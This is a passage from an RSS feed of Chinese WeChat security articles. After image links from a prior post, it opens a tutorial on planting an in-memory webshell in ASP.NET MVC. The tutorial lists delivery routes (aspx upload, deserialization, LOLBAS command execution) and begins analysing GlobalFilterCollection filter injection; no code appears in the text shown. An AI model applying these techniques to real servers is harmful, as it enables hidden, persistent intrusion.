30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">参考链接</span></h2><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://isdaniel.github.io/" target="_blank">https://isdaniel.github.io/</a></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fec36ee6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmTyrGibbmv4LYec1068HYmtcbibylE5RufwCIHEBMSXWTRqLFzoG5wSYw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=020fff31&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmzsibmmamlIxRpmGoGZz0BHOuQQY5Semhia8mz7eo6q0PeyfSpqsBPIiaA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7a4e8c21&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmAtmpuVMdf1v48WjQicoUcXayc1sTxezibPbgIl9FtPsBoFQMtiaTnHarw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9fc1bd53&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm6nf2cItcSQSLBc8bIicZ6xu0zBjSLm9mJHjhFkhtNRA1TpSiaIw3ibFYA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0d9aeaa3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmOqbttb70XmFb8aw3B0ianDqL5LGgibbKC5ZBibIZW8TfC3UiaLH18iaEGzw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=79ce4e7c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmHSwNs5dn1ZNlgV888uiaSYvARt7qKpdqeia69Fiay4gOUTbska4JyVQdg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d033a134&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmkY7piaPlD6jdeuXdgV7C9BEOqFal7ibvD8XRcoSeDZrue8E45anMhYng%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7ad5f7bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmYJpUMaAbAfDu4fRxQ5WpiaRibm1Ws33tTG0BibLzcibAZlUp3eibvkv179Q%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9a3d9961&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmVlZSLrlJ0l5a2biaXnEMYMibb6Igq4uiacUVR4wQRAJ8O7H4N2VgbaXIQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=fe000d49&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmWlHwWHSxfI8Bl0F7ibpRtj6gnlYkI2bvbkzcL6glAjULM8UGuZGIXTA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d8654887&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmb0pw5GibeicJ3PyEwTHaf4TiaQEBU0n41ic2gBWw0hI3icRXp8jdZj1ZLVw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=080b00f3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm63DqNGfjpVtqoDQacDibaj5lNhK8wg9HgwZiaQGYjntSIF8X7ZSiaAiatg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=276944a0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmu7RnNiaaFCDa6AjLWXzcZvXrFOLlzl27yDhrlTkEXwDMqHFVU2IsvyA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d91ecad3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmJkEibssYl8YPP44lmKmR8t4kwhxP0LicrpgK7NperDdSJgr0Eskiasmqg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0e6012f4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmT7guwgrb341cypWXwBVZY3IZCCQpsnaycv15ywvhAGZpKZLwUroCMg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=60dc34a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmjJpdz3iaJ4w1FLGSd7BSTExpnPbb6wAradnPFV9O53Uf7jmpVLPPqqA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ebc32e63&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmVXH2t8H1Z3ZVbibMRKbDbYru4OS9jt5okicGfAdQ219XMomejD4iaric1w%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=e8a90a11&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmvJ2BXcSxXnqZ29DPqHYqCkkriaYpd3lzMRupVQp1YhkQxza3tmQzasw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=8592e198&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmnLctzR1SgfyHEAcaQ8Ywm4ianN7OrtMWKxvsicvEk2b3cVnREtzbAFmA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=0963a2db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmYgFEDibdOA1Gze2mqHdoVrBXkjOLzQs8Me5URx3fBqB5icScjicv6YbkA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9832cc64&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmAj9shZiaM98907zDDVZ5stpSkKNdHia4pGSCgd1Xkn69oyhoCWibXqzsg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3a0cd3e0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm5BDKVibtlcZpiaHrQ37icVqria7gLn6HNBGN3vicTbKle4cwGUicb9jicLMEw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=d9c8d265&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmUW1R16d0ibK5BDcN4YYLqBD9hdvZTkVnVSquBKoxoq9em7946hbUutA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=25612ffb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmCB5tAsa4ZKIHkV1TSwxuC4Q4NRThicHK2FUtiblSsd47NS3KgymERbOw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=04068c1e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmDmicmULGYuo2Vf6XtuLmWH00ju9u3bUNjGkoY3EwN0C8a70GIT9n5Aw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=6d08ee02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmNObj9q7EWcZsNDCCn0uq9lAT0CY6SYknhYpKia688ibzDSpZibk9CIDbA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=709599b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmVZV4PW5SiboHNEK6qQdx0iaujdrmnvollA09Ad0CSbdDFsJOmWcqb1Lw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9d2aec4a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmNqLh25DZosjScR3KPIx0SJkNtXtg5r33B2UxY1wRLKDI5qSJuU33QA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=ce06f46d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmwTlN6pomRTFo6AkwefS30WbEGvTeJ3p6AazE9KQiaj3Xvic6icNNI37Wg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=217b8108&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmH8nica4tJezheJEiaOcG76pGBouN1xDSzX5iadsHVaWTnVerlicjwwpCDg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=234ae61c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmd71aLlI8fB0dXAicIXn4ep2iaJpSj7DfbtO3Eq5DcGrLmKjcdsGvb6eA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=f7f3fa4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmcibYKMxH12B8Exglv8xJGb3qY0GdwkM9dRiaStibs36sHdWqJo1Hk4YDg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=9db6c94a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmIUbZEAUScuxk6jxE5BcjFxnHlvgkOIFOFrP5vdLHPQQ0Ir9xLrtwkw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=13baf1da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm6zXnxp4XiaYljYuo57KhG5sgWwM7YCVrKhcHC2c5yWT6fFbfBQJ7A5A%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=27afb7b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCmiaatxqh3NI8yjxiap9pZdFuz2lNvPAXFTY3w8icyfxZ0u8NAnbAOn9sGA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=226b5c34&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCedicXGuakjjvSaYXiaPA3YCm33Q6HAOXgnQ3N4ENZpZndDEG8w4QjJtf5N4E6KhfrHg1RoUTS3wvKg%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484090">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=9407997a&amp;r=1&amp;u=http%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzUyOTI5MTM4OQ%3D%3D%26mid%3D2247484090%26idx%3D1%26sn%3Daca5c925bde1bd4b5a451717f14e489e">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 13 Nov 2023 21:37:00 +0800</pubDate>
    </item>
    <item>
      <title>ASP.NET 内存马与魔改蚁剑内存马回显</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzUyOTI5MTM4OQ==&amp;mid=2247484049&amp;idx=1&amp;sn=611b984b2e084234549d1525e862944c</link>
      <description></description>
      <content:encoded><![CDATA[<p>
原创 <span>侠盗鲁平</span> <span>2023-11-11 15:21</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1ad799ea&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaW7b0L2h43vBb9ricnnjTxIoiaWFicrKEso5UxqfkkAxzPCu3ickTmx2TRw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="margin: 70px 30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">测试环境</span></h2><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.20216606498194944" data-s="300,640" data-type="png" data-w="554" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=671d7061&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaqicwhW23rtRHX3L77CJwnoGgBE28B1qEZjyiclRWoguSM8BrWDicJBjew%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">在此选项中选择mvc</p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">项目入口在global.asax</p><figure style="margin-top: 10px;margin-bottom: 10px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.23030303030303031" data-s="300,640" data-type="png" data-w="495" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=efe29b32&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia25C6ib1hQnQ5MA4vXp6wCvkndibmw1QanQakV0JfiaBwz8oWRXBUh5pmg%2F640%3Fwx_fmt%3Dpng"/></p></figure><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">官方文档</h3><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://learn.microsoft.com/zh-cn/aspnet/mvc/overview/" target="_blank">https://learn.microsoft.com/zh-cn/aspnet/mvc/overview/</a></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><a href="https://learn.microsoft.com/zh-cn/previous-versions/aspnet/" target="_blank">https://learn.microsoft.com/zh-cn/previous-versions/aspnet/</a></p><h2 style="margin: 70px 30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">种马方式</span></h2><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: rgb(0, 0, 0);list-style-type: square;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">直接上传aspx访问</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">反序列化</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">lolbas+命令执行</p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">直接执行exe(listener)</p></li></ul><h2 style="margin: 70px 30px 30px;color: rgb(0, 0, 0);font-weight: bold;font-size: 22px;text-align: center;line-height: 1.1em;padding-top: 12px;padding-bottom: 12px;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-wrap: wrap;background-color: rgb(255, 255, 255);"><span style="display: block;-webkit-box-reflect: below 0em -webkit-gradient(linear, 0% 0%, 0% 100%, from(rgba(0, 0, 0, 0)), to(rgba(255, 255, 255, 0.1)));">Framework</span></h2><h3 style="margin: 60px auto 10px;color: rgb(255, 255, 255);font-weight: bold;font-size: 17px;background-color: rgb(0, 0, 0);padding: 2px 10px;width: fit-content;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;">filter</h3><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);"><strong>asp.net mvc下的filter内存马，必须依赖于system.web.mvc.dll这个东西，也就是只能在.net mvc下使用，执行权限为iis用户权限</strong></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">入口点在global.asax的GlobalFilters</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.38041733547351525" data-s="300,640" data-type="png" data-w="623" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=e80da44f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiasFB7UUdazJPHrbYq6OJbD8ia1kQYFiclAszz2eFODPS6XYicV2Dto6pDw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">Filters来自GlobalFilterCollections()</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.33827493261455527" data-s="300,640" data-type="png" data-w="742" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=5d75b369&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaSBlOu4pvlicy8mCgMgheYEWy7vJthHGlicHeibJPDyNz6P8a6U32oKDPA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">根据官方定义和注释可以看到是一个保存了全局所有的filter集合的类</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.14157014157014158" data-s="300,640" data-type="png" data-w="777" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=0dbacfe1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUia2JA3KwoN8YpOHhNC1LqBZUQ2yvibT9lKhG4Eciae81w7Mn9D8GWX7JTg%2F640%3Fwx_fmt%3Dpng"/></p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">基础：asp.net list泛型集合<a href="https://dotblogs.com.tw/CodingInInDer/2018/06/21/104609" target="_blank">https://dotblogs.com.tw/CodingInInDer/2018/06/21/104609</a></p></pre><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.2861271676300578" data-s="300,640" data-type="png" data-w="692" style="font-size: var(--articleFontsize);letter-spacing: 0.034em;height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=130b7f9a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaMUmvRYbgNQm1HBPghicevZI8cZR8YfPplz2WLOibkvcnbFNVYQqvUFBw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;letter-spacing: normal;text-align: left;text-wrap: wrap;background-color: rgb(255, 255, 255);">GlobalFilterCollection类中包含两个Add重载方法和AddInternal，</p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.3838509316770186" data-s="300,640" data-type="png" data-w="805" style="height: auto !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=6db72955&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FkEgicicM5SiaCfEQwJP4oC7evGMtN7MhjUiaOFpQ46LzuY7KZGNfEGFHjaQjClBfiatpafQ6wxYCHkQdKrgr4BGn7UQ%2F640%3Fwx_fmt%3Dpng"/></p><pre style="font-size: 14px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin-top: 10px;margin-right: auto;margin-left: auto;overflow: auto;border-radius: 4px;box-shadow: rgba(170, 170, 170, 0.48) 0px 0px 6px 0px;color: rgb(0, 0, 0);letter-spacing: normal;text-align: left;background-color: rgb(255, 255, 255);"><p style="font-size: 12px;font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);border-radius: 5px;">基础：asp.net函数重载<a href="https://blog.csdn.net/qq_34573534/article/details/100135237" target="_blank">https://blog.csdn.net/qq_34573534/article/details/100135237</a></p></pre><p style="margin-bottom: 0px;font-size: 14px;padding-top: 8px;padding-bottom: 8px;line-height: 26px;color: rgb(0, 0, 0);font-family: 